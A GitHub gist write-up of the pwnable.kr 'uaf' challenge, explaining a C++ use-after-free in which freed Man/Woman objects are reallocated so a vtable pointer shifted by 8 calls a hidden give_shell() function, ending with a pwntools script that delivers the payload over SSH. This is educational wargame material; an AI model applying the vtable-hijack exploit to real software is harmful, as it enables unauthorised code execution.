Skip to content

Instantly share code, notes, and snippets.

@marcorentap
Last active January 24, 2023 00:26
Show Gist options
  • Save marcorentap/e75645dfc07eb4619df6ff2d80a4d535 to your computer and use it in GitHub Desktop.
Save marcorentap/e75645dfc07eb4619df6ff2d80a4d535 to your computer and use it in GitHub Desktop.

Overview

The C++ source code is provided:

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
	virtual void give_shell(){
		system("/bin/sh");
	}
protected:
	int age;
	string name;
public:
	virtual void introduce(){
		cout << "My name is " << name << endl;
		cout << "I am " << age << " years old" << endl;
	}
};

class Man: public Human{
public:
	Man(string name, int age){
		this->name = name;
		this->age = age;
        }
        virtual void introduce(){
		Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
	Human* m = new Man("Jack", 25);
	Human* w = new Woman("Jill", 21);

	size_t len;
	char* data;
	unsigned int op;
	while(1){
		cout << "1. use\n2. after\n3. free\n";
		cin >> op;

		switch(op){
			case 1:
				m->introduce();
				w->introduce();
				break;
			case 2:
				len = atoi(argv[1]);
				data = new char[len];
				read(open(argv[2], O_RDONLY), data, len);
				cout << "your data is allocated" << endl;
				break;
			case 3:
				delete m;
				delete w;
				break;
			default:
				break;
		}
	}

	return 0;	
}

The program has a simple prompt:

image

Option 1

Calls the introduce methods of Man m and Woman w

image

Source:

image

Option 2

Reads argv[1] bytes from file argv[2] into the buffer data

image

Source:

image

Option 3

Frees frees m and w from the heap. No printed output.

Source:

image

Goal

Call Human::give_shell() and print the flag

image

Vulnerability

Dereferencing dangling pointers

Option 1 is allowed even after entering Option 3. This will dereference the dangling pointers m and w

Observations

  1. Since Man and Woman inherits Human, the vtable of m and w also contain an entry to Human::give_shell(). The entry is offset -8 from ::introduce()

image

  1. Allocation of m and w consumes 4 chunks:
  • "Jack" string is stored at chunk 0x614ea0
  • m is stored at chunk 0x614ed0
  • "Jill" string is stored at chunk 0x614ef0
  • w is stored at chunk 0x614f20
  • The first data of m and w is the vtable address

image

  1. After freeing m and w through Option 3, all 4 chunks are freed
Before Option 3 After Option 3
image image

Exploit

After freeing m and w, write data in place of m and w such that the vtable is offset by -8. This way Human::give_shell() will be called instead of ::introduce().

image

Just overwriting m's vtable (highlighted in image) is enough since we only need to call give_shell() once and man's function gets called first.

Note that the overwritten data must fit in the chunks of m and w which has the size 0x21. This is the minimum chunk size in 64 bit x86 anyway so let's write 8 bytes - just enough for the address.

Also note that since m is the second 0x21 chunk from top chunk, we have to allocate twice.

Concretely,

  1. Calculate Man's modified vtable address mod_vtable_addr = 0x401570 - 8
  2. Write to payload file as an 8 byte word
  3. Execute ./uaf 8 {payload_file}
  4. Free memory through Option 3
  5. Write data through Option 2 twice
  6. Call Human::give_shell() through Option 1
  7. cat flag

Code

from pwn import *

mod_vtable_addr = 0x401570 - 8
payload = p64(mod_vtable_addr)
with open("uaf_payload.txt", "wb") as f:
    f.write(payload)

remote_payload_location = "/tmp/uaf_payload.txt"
s = ssh("uaf", "pwnable.kr", 2222, "guest")
s.upload_data(payload, remote_payload_location)

p = s.system(f"./uaf 8 {remote_payload_location}")
p.sendline(b"3") # Free m and w
p.sendline(b"2") # Write address to w object
p.sendline(b"2") # Write address to m object
p.sendline(b"1") # Win
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment